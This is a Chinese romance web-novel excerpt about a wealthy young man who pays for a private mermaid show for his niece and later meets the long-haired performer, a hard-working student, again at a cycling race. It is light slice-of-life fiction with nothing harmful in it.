《也许是免费》
1. 第 1 章
单承言领着自己的小侄女走向大刺刺违停在路旁的MC20,毫不意外地揭下了贴在车身上的罚单,还意外收获了一张夹在雨刮里的海洋馆宣传海报。
海报上是散着卷发凹着造型的美男鱼,穿透水层的光斑在表演者结实赤裸的上身游动,更暗的水域里藏着的是一条健壮而华丽的鱼尾。
鱼群顺着随人鱼动作带起的串串水珠摆尾,如丝带般缠绕在人鱼身侧,单承言甚至眼尖地看到一条小色鱼往人鱼的腹肌上撞。
“看什么呢?这么入神?”小侄女单诺真高举自己手上提着的马卡龙,“快给朕开门——我要试试这二十六一个的有什么不一样。”
单承言又看了一眼藏在卷发里,形状优美但有些泛白的美男鱼唇,才慢悠悠回:“皇帝,您这马卡龙是六十六一个。”
他为单诺真打开车门,单诺真很快地钻了进去,她把那盒马卡龙摆放在车内,并且挑着角度拍摄。
而单承言则是又看了一眼那尾人鱼才从另一侧上车。
坐进车后,他把海报塞给副驾的单诺真,并说:“给你看帅哥,下饭。”
单诺真接过海报一看,克制不住地小叫了一声,还上手摸摸人鱼的胸肌腹肌,连期待的贵价马卡龙也忘到一边了。
“啧啧,”单承言也凑过去看,还伸手指了指那条撞腹肌的小色鱼,“皇帝,这是您吗?”
“大胆!朕命令单公公速速带朕去看朕的鱼爱妃!”小侄女正是犯戏瘾的年纪,一口一个朕一口一个爱妃叫得无比顺溜。
单承言失笑,他看了眼时间,却没有扫兴地告诉她人鱼表演已经结束的事实,而是跟她说:“好的皇帝,系好安全带,扶好马卡龙,坐稳了——”
“单承言!你不许开快车!”单诺真尖叫。
而单承言没理她,哼笑一声,随着快节奏的音乐继续踩重油门。
江瑶浪接到经理打来的电话时正准备上地铁,看着震动不停的手机,江瑶浪有点无奈,却还是接起了电话:“怎么了经理?”
“小江啊?还没到家吧?”对面是海洋馆刘经理的声音。
“还没呢,这不还在地铁上。”江瑶浪回。
“哎,这不得麻烦你再回来一趟,就有个客人,非说自己的侄女今天生日很想看一场美人鱼表演,你就当满足小女孩啊。”刘经理倒是没藏,直白地把要加班的信息告知给了江瑶浪。
江瑶浪不太想回去,今天游了三场也挺累的:“经理我这地铁也开了,回来一趟也得不少时间。”
那边的刘经理还在劝,甚至大气地说:“打车回来啊,小江委屈一下,给你算双倍表演费,来回的车费我也报销了!”
江瑶浪默默在心里算了笔账,最后还是答应了:“行,经理,那就麻烦客人等一下,我现在回去。”
得到准信的刘经理转头笑呵呵地回复单承言这尊财神爷:“那个,表演者说他正在往回赶,哎这孩子也不容易。”
单承言哪里不懂他想说什么,无非就是觉得刚刚的要价低了,不过他也不在意这点小钱:“哪儿扫码啊经理,让人跑回来一趟确实也辛苦。”
刘经理打开了自己的收款码,解释道:“先转我哈,到时候我再走流程。”
单承言嗤笑一声:“行。”
他掏出手机很干脆地转了两笔钱,一笔五千,一笔三千,然后说:“五千是小人鱼的辛苦费,三千块呢就当是麻烦经理陪我们闹这一场了。”
收了钱的刘经理笑得更加真挚:“哪里,小孩子的开心最重要嘛,尤其还是过生日的。”
单承言看着贴着展缸逗鱼玩的单诺真,那盒马卡龙还是以一个未开封的状态被她提着晃来晃去。
“可不是么,开心最重要。”
江瑶浪回到海洋馆的时候已经过了半个小时,他当然没打车,毕竟本来就没走多远,这半小时还是慢悠悠往回走的结果。
刚进门他就看到了那个害他加班的客人,虽然很少炫耀,但江瑶浪一直觉得自己将近一米九的身高还是很令人骄傲的,日常中也基本上是他低头和人对话。
和他对上目光的少爷目测还比他高出半个头,这人穿了一件拉链款的无袖连帽背心,搭配一条运动短裤,露出细长而有爆发力的小腿,脚上蹬着限量版的球鞋,脖子上叠戴的项链能买下一辆代步车。
他就这么抱臂靠着展示缸,幽蓝的光勾勒出他裸露的臂膀肌肉和清晰的下颌线,江瑶浪觉得他练得比自己还要更加结实。
走进了才发现这人碎发下的桃花眼还在饶有兴致地打量自己。
看什么,没见过留长发还烫头的男人吗?江瑶浪有点不爽,他讨厌这种不加掩饰又直白的目光。
但是碍于金钱,他还是礼貌地打了声招呼:“不好意思,路上有点堵车,让你们久等了,我去准备一下就下水。”
单承言还没反应呢,那边的单诺真就已经娇羞跑来,兴奋地围着他蹦跶:“哥哥你好!哥哥你好漂亮啊。”
江瑶浪看着刚到自己腰,打扮精致又有礼貌的单诺真,心一下子就软了下来,被迫加班的怨气也消散大半,他弯腰平视单诺真,还抬手朝她挥了挥,笑着回:“公主你好,让公主久等了。”
单承言则是一脸见了鬼的表情,刚想提醒江瑶浪一句单诺真正处于公主过敏期,最受不了别人叫她公主,就又被单诺真抢先:“是我麻烦哥哥跑一趟了~”。
单承言甚至看着她又一次举起她那盒宝贝马卡龙:“哥哥要先吃点马卡龙吗?”
江瑶浪抬手帮小姑娘整理了一下歪斜的发饰:“不用啦,小公主吃吧,谢谢。”
直面江瑶浪美貌的单诺真有点晕乎乎,两抹红克制不住地飘了上脸,连说话都有点结巴:“那、那哥哥去准备吧!真真很期待哥哥的表演哦!”
“好呀,公主喜欢什么颜色?”江瑶浪又朝单诺真挥了挥手,这才走向准备室。
单诺真又结结巴巴地回复道:“橘……啊不!粉色好看!”
江瑶浪看了一眼她今天橘色系的穿搭,然后笑着说:“遵命,真真公主。”
等江瑶浪走远了,单诺真才爆发出一句:“我靠!不是照骗!”
单承言还在回味江瑶浪缀着唇珠的M唇,实物和宣传图相比明显更红嘛,那头铺了满背还潮湿的长卷发,真是人鱼上岸吗?也不懂吹干了再走……还有脸这么小顶着这么一头卷发也不知道脖子累不累……
结果被单诺真的一句“我靠”吓得回了神。
他不爽,于是单手按住姑娘的头来回摇:“干嘛呢干嘛呢,你舅这么大一个帅哥在这你不看。”
单诺真伸手打落在她头上捣乱的手:“单公公要造反吗!哪里轮得到你说话。”
结果单承言仗着自己的身高优势,轻而易举地再次把手搭在她的头,还坏心眼地故意拨歪头饰,引来一阵尖叫和打骂。
单诺真灵活走位远离单承言这个瘟神,走之前还把相机和拍立得都塞给了单承言,叮嘱他一会要给自己好好拍,接着就粘在了展缸壁上不动了,眼睛滴溜溜地随着鱼群转,期待着从天而降的人鱼王子。
江瑶浪下潜的时候很安静,直到鱼群散开,单诺真才发现自己贴着展示缸的手不知何时已被另一只骨节分明的大手隔着透明的壁面覆盖。
她看着那只手曲起两根手指敲了敲她的指尖——那是在跟她打招呼。
目光上移,看到的先是一节玉□□瘦的小臂,而后是充满锻炼痕迹的上臂,肌肉在蓝紫色血管的映衬下显得分明,性感异常。
然后是一张美得近乎妖孽的脸,两条刻意加深色泽的眉毛微微上挑,一双细长的眼镶嵌在深邃的眼窝,较尖的内眼角旁被贴上了圆润的立体珍珠,上扬的眼尾旁是半圈由大变小的橘色鳞片纹路,打了闪粉的眼妆如同流光般游进发间,直睫下的纯黑瞳孔在光影的折射下跳跃着深蓝,更添一分妖气。
高挺的直鼻下是适合接吻的M唇,上唇略薄但有一颗明显的唇珠,下唇红艳饱满,嘴角微微上翘,哪怕不刻意动作也依旧充满着欲色。
只见那张唇如贝壳般张开,舌尖一顶吐出一颗硕大的珍珠,江瑶浪用手轻轻托着那颗珍珠,送向单诺真。
单诺真兴奋地跳上跳下,恨不得钻进水里把珍珠和人鱼都拯救出来。
江瑶浪弯了弯
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眼,然后双臂用力向后一扬,轻而易举地带动身体后退,远离了单诺真后,她终于看全了这尾人鱼的全貌。
为了迎合小姑娘的喜好,江瑶浪穿了一条橘粉渐变的珠光硅胶鱼尾,这条鱼尾更长更华丽,腹鳍如翅膀般舒展,尾鳍层层叠叠缝了三层,尾鳍棘处是满铺的珍珠和碎水晶,他还用与单诺真头饰颜色相同的橘色丝带绑了一小条麻花辫,随着水波漂浮,若隐若现地在黑卷发里穿梭。
退到合适的距离后,江瑶浪就按照排演好的动作设计进行表演,他在水里流畅地翻滚、臀踢,毫无双腿被束缚的滞涩感,腰腹因用力而肌肉紧绷,六块分明的腹肌整齐排布,而大鱼小鱼也听话异常,紧紧跟着他的动作而游动。
江瑶浪在为单诺真画出一个巨大的爱心泡泡串后,在鱼群的遮掩下首次上浮换气。
单承言看着他背身拂了拂自己的长发,也因此动作,发丝上浮,得以露出宽厚的背与深陷的美人沟,腰下则是一条细长的粉色软背鳍,上半截紧贴着弧度明显的臀,而下半截则随着尾巴的摆动左右晃动。
他看着那截软背鳍,情不自禁吹了声口哨。
在江瑶浪短暂消失的间隙,单诺真跑到单承言身边,一边跑一边问:“照片呢!让我看看照片!”
照片呢?单承言当然有拍,只不过——
“我呢!单承言!我要合照!”单诺真又在抓狂。
单承言漫不经心地辩解:“急什么啊,我拍得多好看。”
单诺真狂踩他的脚,在单承言雪白的球鞋面上留下一连串脚印。
单承言稳如老狗:“踩呗皇帝,再踩两脚我就罢工,然后再去找你妈报销。”
“啊你真的好讨厌,爱拍不拍,不拍我就自己自拍!相机还我!”单诺真真的无语了,她对这个不靠谱的舅舅完全没办法。
单承言看到小姑娘真急了,这才连连道歉,并承诺一定给她出图,这下单诺真才放心回到展示缸旁看着江瑶浪再次下潜。
单承言早在江瑶浪下水的第一秒就注意到了,这次的江瑶浪换了一种下潜的方法,刚刚他是直接头向下,双臂垂直下伸入水,然后很迅速地游下来藏在鱼群背后,这才给了单诺真一个惊喜。
而这次则是头向上,尾巴朝下,双臂向上划水,慢慢下沉,腹鳍舒展更开,浓密的卷发也向上悬浮,他看起来像是一位降临于世的天使。
慢速的动作让单承言观察得更清楚,他甚至注意到了江瑶浪的唇色没有最初红艳,想到什么,他招手唤来经理。
“杨经理啊,里面的水是很冷吗?”单承言手上拍照的动作没停,甚至没看一眼已经点头哈腰来到他身边的刘经理。
虽然名字被叫错,但刘经理也毫无脾气:“我们的水温大概是24度左右,那肯定还是要比岸上冷哈。”
单承言低头想了想,问了句:“现在还有多少员工在啊?”
刘经理回复:“应该就十几人吧。”
“成。”单承言回了句,然后掏出手机开始操作。
片刻后他看向刘经理,扬了扬手上的下单界面:“这附近还有裕莲茶楼呢,点了三十杯奶茶,麻烦杨经理带人去拿一下呗。”
刘经理拿钱手软,笑着应下了,带着几个员工就往外走。
这手机拿出来了,单承言就不太想放回去,正好姐姐发来信息问他们在干什么,还回不回来吃饭。
于是他低头翻看了一下相机里的照片和拍立得的显像情况,确定有丫头想要的照片后便心安理得地准备开一局游戏。
他先是回复了一下姐姐的信息:“皇帝在看裸男游泳呢。”
单承意:“?”
为了证明事实,单承言打开手机摄像头准备给他姐录一段单诺真犯花痴的视频,最开始镜头是对着丫头的,直到江瑶浪又一次和他对上了目光。
处于营业状态的江瑶浪没什么心理负担地对着单承言歪头笑了笑,朝他吐了个圆润的水圈,又慷慨地送了个飞吻,随后还对他比了一个大爱心。
然后他看到了这位少爷手抖了一下,紧接着就把镜头牢牢对准了他。
直至他结束表演。
2. 第 2 章
江瑶浪刚上岸,奶茶就到了。
刘经理招呼各位员工来拿奶茶,还特别说明是单承言请客,员工们也很识相地连说谢谢,然后让他先拿。
单承言毫不客气地弯腰选择,挑挑拣拣拎出来两杯,一杯自己插管喝了,剩下的一杯提在手里。
“啊对了杨经理,人鱼一会还下来吗?”单承言又朝刘经理发问。
刘经理依旧好脾气地回答:“小江吗?他应该先去休息室吹头吧,您也知道他头发长呀。”
“那休息室怎么走?”单承言追问。
刘经理指了个方向:“直走上楼梯,左转第一间就是了。”
“谢谢啊。”单承言还是懂点礼貌的。
表演结束后,单诺真就已经往回走了,看到单承言手上提着奶茶,自然认为是自己的,刚伸手去拿结果单承言就把手往背后缩。
单诺真:“?”
“干嘛呢,”单承言朝奶茶堆的方向顶了顶腮,示意道,“自己去里面找喝的,这杯无糖,你不爱喝。”
单诺真一听觉得也有道理,所以也就挤了进去选奶茶。
等她大吸一口后才反应过来:“不对啊?那你拿这杯干嘛!那你为什么不能顺手帮我也拿一杯!”
“惯得你,又不是断手断脚。”单承言才懒得理她,转身就往休息室走。
可怜的单诺真一手拎着奶茶一手拎着马卡龙,还得小跑才能追上大步走的单承言,她说:“赶着投胎吗你?”
“我上赶着送外卖。”单承言头也没回,依旧向前走。
*
江瑶浪脱下鱼尾后进淋浴间快速冲了个澡,结束后换上自己的T恤和休闲长裤,趿拉着拖鞋,头顶一块吸水布边走边擦,还没到休息室的门口就看到单承言这位少爷又抱着臂歪歪斜斜地靠着门,臂间放了盒包装精致的马卡龙,右手食指勾着两杯插了管的奶茶摇摇晃晃。
在他身旁的单诺真也很眼尖,看到江瑶浪的瞬间就如小雀一般飞扑向他。
江瑶浪怕她摔,刚想伸手扶一下,结果小姑娘控制精准,稳稳当当地来到了他的身前。
江瑶浪先打了个招呼:“嗨公主,我刚想找你呢。”然后他把手伸进裤袋,掏出一颗表演同款的道具珍珠。
“这颗是新的,刚刚翻出来的,送给你啦,”江瑶浪把珍珠递给单诺真,接着说,“生日快乐哦。”
单诺真惊喜地接过,爱不释手地摩挲了好几下,然后认真道谢:“啊啊谢谢哥哥!太惊喜了!我一定会好好收藏的!”
江瑶浪伸手再次拨正单诺真歪斜的头饰:“你喜欢就好啦,对了,来找我是有什么事情吗?”
被提醒了才想起正事的单诺真:“啊对!我来给哥哥送奶茶!”
她高高地举起手中的饮品,推销道:“哥哥是热的、无糖的哦!”
江瑶浪弯腰接过奶茶,然后双臂撑着膝盖,平视单诺真:“谢谢公主,很贴心的搭配。”
单承言就在那看着单诺真又一脸娇羞地一口一个“哥哥不客气”、“哥哥你真好看”、“哥哥你真的好像人鱼哦”等等夸赞跟不要钱似的往外蹦。
想到这一场景本质是自己被借花献佛了,又注意到江瑶浪依然泛白的唇,他语气梆硬:“走了皇帝,你妈催你回家吃饭。”
说完也不等单诺真的回复,很干脆地转身就走。
那边的单诺真火刚要起来,就被江瑶浪抬起手小幅度的挥挥浇灭了。
他在很认真地对单诺真道别:“下次见公主。”
*
送走单诺真后,江瑶浪回到休息室吹头,吹风机呜呜地响,带了点催眠效果,他喝了一口奶茶,挺好喝的,但即使是无糖也还是腻,于是他放在一旁,放松地靠在椅背上,掏出手机查看消息。
今天是周五,妹妹还没放学,也没给他留言,班级群里倒是有老师发出来的通知和激励性的话语,大概就是高三了家校一起努力之类的,然后再次提醒,高三学生周六才能放学回家。
兼职群也有一些新发布的工作信息,不过刚加完班的江瑶浪无心工作,他迅速略过这个群聊,继续往下看。
宿舍群里依旧热闹,江瑶浪今年大四,因为休学过一年的原因,他比舍友们都要大一岁,大四了课也少,两个本地舍友干脆回家里住,很少回寝室,原本的六人寝现在剩下四个人,不过江瑶浪和那两个舍友没接触过,他也是刚搬过来这个寝室,住进来的时候就只剩三个原住民了。
除了江瑶浪以外,剩下的三个舍友都在实习,所以近期的宿舍热点话题就是吐槽同事、吐槽领导、吐槽工位太小、吐槽公司、吐槽爆红包金额不够大还有就是哀嚎不想背锅。
他看了眼时间,差不多八点,于是他在群里发消息:“今晚几个人在啊?”
“1。”秒回信息的是张乐强,“浪哥有啥吩咐。”
隔了一会又慢吞吞飘出来一个。
“2,”王达煜又补充,“不过浪哥,我还在聚餐呢,可能会晚点。”
又过一阵,剩下的一个舍友黄庆才表示自己在外出差,要下周才能回来了,江瑶浪祝他好运,还给他发了两大拇哥。
“好,那小强你们吃炸鸡不,我大概九点半能回到。”江瑶浪回复。
这次王达煜倒是秒回:“吃吃吃!!这种聚餐简直难以下咽,傻逼领导讲了一小时话把我食欲都讲没了我靠。”
张乐强直接一个感恩戴德:“谢谢爸爸!”
江瑶浪他们学校后街有一家特别好吃的炸鸡店,从傍晚营业开始一直到凌晨都是爆满状态,堂食单和外卖单满天飞。
江瑶浪做过一段时间兼职,他找出老板的微信,给他发消息:“叔,给我留点炸鸡呗,三个人吃,大概九点十分左右我到店。”
老板忙着呢,隔了半小时才回了他一个ok表情,而此时的江瑶浪已经在地铁上被人挤了十五分钟了,今天的加班费也已经打了过来,一共是五百块,刘经理没有食言,给他额外又转了一百让他打车回学校。
江瑶浪心想,今天的经理大方得不正常,额外多游的一场顶了一天的工资,也不知道那个有钱少爷给了多少钱,两千?三千?谁知道呢。
他有点累,更换了握杠的手后就把头靠在大臂内侧,黑发散落下来遮盖住整张脸,只吝啬地露出一点冒出胡茬的下巴。
身边传来细细碎碎的讨论声,还有美甲敲屏幕的打字声。
江瑶浪其实也知道自己这头及腰卷发显眼,但他又确实是喜欢,不过老被人围观和偷拍也很烦,他把头又往下缩了缩,让下巴也收进头发里。
结果敲屏幕的声音更大了。
江瑶浪干脆把空闲的右手也藏进头发里,试图通过玩手机转移注意力,他先是打开大眼看了下今天的热搜,又点开关注的摄影博主看看有没更新,更新没看到,反而跳出来劝人考证的广告。
更烦了。
于是他手机一关眼睛一闭,就这么在地铁上摇着回到了学校。
*
江瑶浪先去把炸鸡拿了,老板知道他们的习惯,杂七杂八给他配了一堆,还放了半打啤酒,最后照例打了个折,只收了一百。
回到宿舍还没九点半,懂事的张乐强已经把空调开好,桌子架好,甚至铺了个大塑料袋。
“这么积极呢。”江瑶浪关上宿舍门,把吃的放在桌子上,“洗手了吗?”
“这不有手套嘛。”张乐强一边分吃的一边回。
江瑶浪走到阳台,先是把指尖到手肘的区域都用洗手液搓了一遍,再给手机喷了圈酒精消毒,擦干后才回到室内,拖了张小椅子坐在桌子旁。
“大煜回来了吗?”江瑶浪单手开了听啤酒,喝了一口后选了根鸡腿咬。<
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p>张乐强在啃鸡翅,含含糊糊地说:“还在路上呢,说领导吃完饭了又训了一顿,乐死我了。”
“给他留了吗?”江瑶浪手一伸就要去收拾。
“我办事浪哥放心!”张乐强手一指王达煜的桌子,凌乱的桌面上,有一个孤零零鸡架霸道地躺在最上方。
江瑶浪注意到鸡架下面坐着一本没开封的专业书:“你怎么也不给他垫着点,溢油咋办。”
“算他好运,下次背书的时候都能闻到鸡的香味。”张乐强哼哼。
“膜撕了也就没味了吧。”江瑶浪说。
“那说不定等他毕业了也没撕膜呢。”张乐强回。
“也行。”江瑶浪觉得有点道理。
随后两人开始专心吃鸡,吃得挺快,桌子上的骨头很快积成一堆。
张乐强打了个饱嗝,却还是放不下剩下的那堆鸡,于是又撕了块鸡架嗦味道,江瑶浪也吃饱了,但还是拎着啤酒喝一口停一口。
王达煜就是在这个时候回来的。
他进门先是把领带一甩,又把衬衫扣子一解:“哥们回来了!”
“哟哟哟,牛马回来了。”张乐强开始犯贱。
王达煜才懒得理他,他们俩难兄难弟,谁比谁高贵,张乐强这小子难得有一天不加班,就开始得意洋洋。
江瑶浪笑了声,伸长手臂给他拉来了一张椅子,示意他坐下,然后又把手边留好的炸鸡推了过去:“先吃,边吃边聊。”
“哎还是浪哥对我好,不像某小强。”王达煜把袖子卷起来,准备开吃。
“干什么干什么,睁大你的狗眼看看你桌面上那是什么东西。”张乐强不服。
“我勒个豆,”王达煜直接跨过去拿起鸡架,然后指着沾上油的书,“张乐强你真是不干好事。”
“擦擦得了,又不是没膜。”
“那我还得谢谢你。”
“不客气儿子。”
江瑶浪就这么靠在床沿看他们两个拌嘴,看他们两一时半会停不下来,就收拾了东西准备去洗澡,然后嘱咐了一句:“吃完了记得收拾东西,然后把垃圾丢出去。”
江瑶浪发话,两小伙立正敬礼:“遵命浪哥!”
“儿子们真听话。”江瑶浪也回了他们一个礼。
*
每次下水后,江瑶浪都会多洗两遍头发,长卷发确实很难打理,但是他很有耐心,用手指慢慢梳理开细细搓,等泡沫都冲干净了以后,他拿起挂墙上的洗水布把头发吸干,又仔细抹了一遍护发素,抹均匀后又按摩了两下,随后他把头发盘了起来,这才开始洗身体,洗身体就快多了,洗完后他又把贴身衣物搓洗干净,这才到了把护发素洗掉的时间。
江瑶浪停水后看了下热水卡的余额,今天洗了三块多,卡里还剩三毛。
他在心里夸了句自己牛逼,然后满心欢喜地包着头发进寝室。
屋里的两人已经吃完并且收拾好了,现在又开始不知道第几波的吵吵,屋内的炸鸡味还没这么快散干净。
王达煜看到江瑶浪进来了,也想起了正事:“对了浪哥,下周日你有没有空啊?”
“咋了,我先看看那天要不要下水。”江瑶浪掏出手机看排班表,确认了没班后回复,“有空。”
“那浪哥要不要来城市自行车赛玩玩?我们公司办的那个,可以带小清来看看啊。”王达煜说。
“唔,那我明天问问她。”江瑶浪没立刻答应,准备先听听妹妹的想法。
“好嘞!”
*
江瑶浪把头发吹到半干,然后上床躺下,一睡下就听到骨头噼啪响,他先平躺了一会,又侧身缩着刷了会短视频,再次睁眼的时候已经是第二天的十点。手机还有一点电量皮撑着,下床的时候张乐强和王达煜也还没醒。
江瑶浪轻手轻脚地穿衣洗漱,然后离开了宿舍。
3. 第 3 章
江瑶浪不是本地人,但父母把房子买在了这边,因此周末会回家和妹妹一起过,而工作日则是都住学校宿舍。
地铁站里的人群还是熙熙攘攘,江瑶浪又站了一路,出站的时候刚好十一点。
他先去家附近的超市买了些肉菜,想到上周江瑶清说想吃火锅,就又拿了包底料,挑了些丸子。
江瑶浪推着购物车走向冰柜,拿了几瓶鲜奶果汁,然后又绕去零食区给自己补了三条二宝糖,江瑶浪爱吃这个糖,不过他只喜欢吃里面的橙子味。
糖是口味混合着包装,运气好的时候,他能一条糖里只开出一两颗柠檬味,运气不好的时候,只有一两颗橙子,每当这时候,江瑶浪都会暗下决定,等他有钱了,一定让厂商修改混搭的这个设定。
*
一周没住人的家积了层浮尘,江瑶浪进屋先把门窗都打开通风,把买来的东西放冰箱后就开始打扫卫生。
打扫了半个多小时才算清洁结束,江瑶浪放好工具,把自己扔在沙发上撕开一条二宝,并随机拿了三颗。
他低头一看,三颗里面有两颗都是柠檬,唯一的橙子正被前后夹击。
江瑶浪不信邪地看向剩下的糖,结果剩的全是橙子,这一条里仅有的两颗柠檬就这么被他抽全了。
“果然果然,搞卫生这种事就很讨人厌……”江瑶浪迁怒。
他撕开橙子的包装丢进嘴里含着,把剩下的两条糖也拆了,然后全部丢进了他的糖罐子里。
江瑶浪看了眼时间,放任自己在沙发上又瘫了十分钟,十分钟后他就开始起身锻炼,一套训练完成后他去冲了个澡,把头发吹得半干,离家走向“玲姐甜品”。
一推开门就发现老板小玲姐在疯狂切柠檬,他先跟小玲姐打了声招呼,然后轻车熟路地洗手套围裙扎头发,自觉接替了切柠檬的活。
江瑶浪一边切一边问:“怎么要切这么多啊。”
“嘿嘿,你小玲姐我最近研发出一款很好喝的柠檬奶哦,和市面上的都、不、一、样!所以一不小心就爆单了嘛!”小玲姐累并开心着,“对了小浪,一会还得帮姐锤锤柠檬。”
“没问题的姐。”江瑶浪一口答应。
然后江瑶浪就切柠檬锤柠檬一直弄到四点才把单子全部送走,柠檬真的很讨厌,他就知道今天的两颗柠檬是凶兆。
江瑶浪活动一下持续工作了快三小时的手臂,然后伸了一个长长的懒腰。
小玲姐也累,今天店里的兼职只有江瑶浪一个,所以装杯、送餐、打包的活都得小玲姐自己干。
单子全部完成后小玲姐也松了口气,看到江瑶浪还在活动身体,于是踮起脚给江瑶浪按了两下肩膀,又拍了下他的后背:“辛苦啦小伙子!”
“小玲姐也辛苦。”
“歇着吧,我去给你切块蛋糕。”这个风风火火的老板打开冰柜,给江瑶浪切了块无花果覆盆子咸奶油蛋糕,又倒了杯热红茶。
几乎是江瑶浪刚坐下,蛋糕和红茶就已经摆上桌了。
小玲姐把叉子递给江瑶浪:“尝尝,这款不太甜,你应该喜欢。”
江瑶浪吃了一口,他不算爱吃甜,但这个蛋糕确实不腻:“好吃,谢谢姐。”
趁着没客人,江瑶浪坐在窗边慢慢吃完了,他把餐具洗干净后又干了会活,直到五点才离店。
才刚离开,小玲姐就给他转了八十,江瑶浪正想打字说又给多了,小玲姐的信息就先来了:“收下吧小浪,多的你就攒起来给小清买裙子。”
于是江瑶浪也不再拒绝,他收下这八十,然后跟小玲姐道谢。
自父母离世后,江瑶浪兄妹一直多受小玲姐的照顾,她让兄妹没事就来店里帮忙,按一小时十五的时薪算,但几乎每次都会多给,还给江瑶浪找了好几个需要家教的小孩,那是当时他能找到最高薪的工作,也正因此,妹妹和自己的学费才能在假期就攒足。
虽然现在依旧欠着不少钱,但江瑶浪觉得自己的生活也算令人满意。
*
江瑶清到家的时候,江瑶浪已经把食材处理好,锅也架起来了,他招呼妹妹洗手吃饭,然后自己把电磁炉的开关打开。
隔了一周,兄妹俩再次坐一桌吃饭,在等食物的时候,江瑶浪先关心了一下妹妹的学习,又叮嘱了两句压力不要太大,不要熬夜学习云云,最后还强调钱不够一定要找他要,不能在吃的方面亏待自己。
结果江瑶浪捧脸盯着他,说了句:“哥哥,你现在好啰嗦哦。”
江瑶浪:“……”
“算了先吃饭吧。”他给江瑶清倒了杯兑了气泡水的橙汁,又夹了一筷子蔬菜放她碗里。
“哥哥,你不是说在吃方面不能亏待自己吗?”江瑶浪戳着菜叶子质问。
“因为肉你会自己夹啊。”江瑶浪垂眸看她。
江瑶清调皮地吐舌,但还是听话地把碗里的蔬菜都吃完了。
饭后江瑶清自觉地去刷碗刷锅,江瑶浪则是打开电视,用手机投屏放了个机甲电影。
江瑶清回到沙发上的时候机甲刚跪完,她立马让江瑶浪往回倒点,她最爱看那个镜头。
江瑶浪也爱看那个镜头,于是他往回拨了一下进度条,津津有味地又看了一遍。
“确实帅。”江瑶浪点头。
“确实帅。”江瑶清也点头。
想起王达煜的邀请,江瑶浪问妹妹:“下周日要不要去看自行车比赛。”
“在哪啊?”江瑶清问。
“这我还真没问,但肯定是市内吧。”江瑶浪回她。
“可以啊,那做完作业我们就出发!”江瑶清愉快地应下。
江瑶清只陪江瑶浪看了一会,就哀嚎着进房做作业了,直到十一点还亮着灯。
江瑶浪敲了敲她的房门,隔着门跟她说:“早点洗澡睡觉吧,明天我要去海洋馆,早餐做好会放厨房,你到时候热热再吃。”
门打开了一半,江瑶清探出半个头:“好的哥,哥哥晚安!”
“晚安小清。”
*
接下来的一周依旧日常,很快就又到了周日。
江家兄妹到达赛场的时候刚过十点,王达煜在终点处给他们留了位置。
江瑶浪对比着王达煜给他发的照片找位置,终点处围了两圈人,标志物也被遮挡完全,他压根看不到王达煜人在哪。
他干脆给王达煜打了个语音电话,让他举个手方便他找人。
结果王达煜在那里又蹦又跳,双手舞得像螺旋桨,还在那里猴似的,“浪哥!浪哥!”叫个不停,直接吓退他身边的一圈人。
目标一下子就清晰了,只是过程确实惨不忍睹。
江瑶清捂脸:“你舍友都这样吗?”
江瑶浪扶额:“可能被加班逼疯了吧。”
他们挤进去以后,王达煜说:“浪哥你们这时间来得真巧,好像说有人快到终点了。”
“这个比赛赛程是多少公里啊?”江瑶清问。
“好像说是一百四还是一百五吧?”王达煜也记不太清。
“不是七点半才开始吗,骑这么快呢。”江瑶清追问。
“嗨,据说还是个高富帅,公司给我们下了死命令让多拍点那哥们过线的照片,”王达煜摇头,“我哪里会拍照啊?还给我配了个相机,真
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是高看我一眼。”
江瑶浪看他实在苦恼,于是主动帮忙:“要不我来试试?”
王达煜巴不得呢!而且江瑶浪拍照确实比他拍的好看,他迅速把相机从脖子上拿下来,塞进江瑶浪手里。
“这么激动?”江瑶浪笑。
“帮大忙了靠谱的浪哥。”王达煜充满感激。
王达煜说高富帅很快到达终点,这个“很快”确实没说错,江瑶浪刚调试好参数,给江瑶清拍了两张,遥遥领先的冠军就这么出现在了终点线前。
江瑶浪迅速把镜头对准那名选手,而闯进镜头的哥们确实也担得上高富帅这个头衔,哪怕是伏低了身体,也能看出领先于常人的身高以及优越的身材比例,也确实有钱,踩的车是TREK马东8代SLR9,车很帅,但涂装是一窝粉呼呼的、各种表情的星之卡比。
他戴着白色的骑行头盔和变色骑行眼镜,微微隆起的驼峰鼻搭配紧抿的薄唇,脸部肌肉因用力而紧绷,车身和躯体都沾了泥点,不规则地分布在各处。
这种状态确实很帅,江瑶浪想。
直到——
单承言很装逼地撒把冲线,把头高高昂起,双手握拳高举,龇出一口大白牙,礼花喷在他身上,又很快被他扬到了身后。
也不知道他是怎么注意到江瑶浪的,江瑶浪就这么看着他离自己的镜头越来越近,画面的人物占比越来越大,他手没停,直到画面只能显示到单承言的胸腹。
单承言停在了他的面前。
“拍我?”单承言摘下骑行眼镜,双腿撑地,双手撑着车把,仰视江瑶浪。
“对啊,拍你。”江瑶浪语气没变,甚至对准他露出的脸又来了一张。
“让我看看呗。”单承言伸手讨要相机。
江瑶浪没给,他扭头看向王达煜:“你们公司的微博、公众号这类社媒的账号名字是什么?”
王达煜看着任务对象直冲着浪哥凑了过来,有点搞不清状况,但他还是下意识回答:“哦哦,帅哥你可以关注一下写写体育,我们公司是执行单位哈!”
单承言无语,但还在继续争取:“这么小气?”
江瑶浪:“万一你看了不满意全删了怎么办?”
闻言,单承言有点不可置信:“不至于吧?你不是怼着我拍很久了吗?一张出图的都没有?”
“要是能出图我也不至于对着你拍这么多张啊。”江瑶浪没放过单承言这个傻愣愣的表情,又拿起相机拍了一张。
吓得单承言直接伸手挡镜头:“我靠别拍我丑照。”
而隔壁的王达煜也有点傻:“不是吧浪哥?真没能用的啊?”
江瑶浪没回,意味深长地看了他一眼。
而江瑶清则在神秘地捂嘴笑。
“不是,隔壁那个兄弟,你也来给我拍几张。”单承言是真的有点慌,今天他的朋友也没来给他拍照,虽然说拿第一是家常便饭,但是他今天特意骑的新车,就等着发圈挨夸呢。
于是江瑶浪把相机郑重地交还给王达煜:“加油!出图的重任就交给你了。”
王达煜想动态的过线自己拍不好,人摆好姿势给自己拍还能拍不出来吗!于是他一拍胸膛,看向单承言:“放心哥们,我一定把你高富帅的气质完美还原!”
单承言半信半疑,但还是配合着摆姿势。
而江瑶浪江瑶清早在他们拍得火热的时候就离开了。
江瑶清举着手机,示意江瑶浪看向她手中的图片:“靠谱的浪哥!我想吃蜂蜜无花果冰!”
江瑶浪记下店名,然后摸出手机开始导航:“爱探店的清姐,我们即刻出发!”
4. 第 4 章
王达煜的图片传过来时,单承言正在院子里洗车,他搓泥点子搓得仔细,让灰扑扑的星之卡比重回粉嫩嫩。
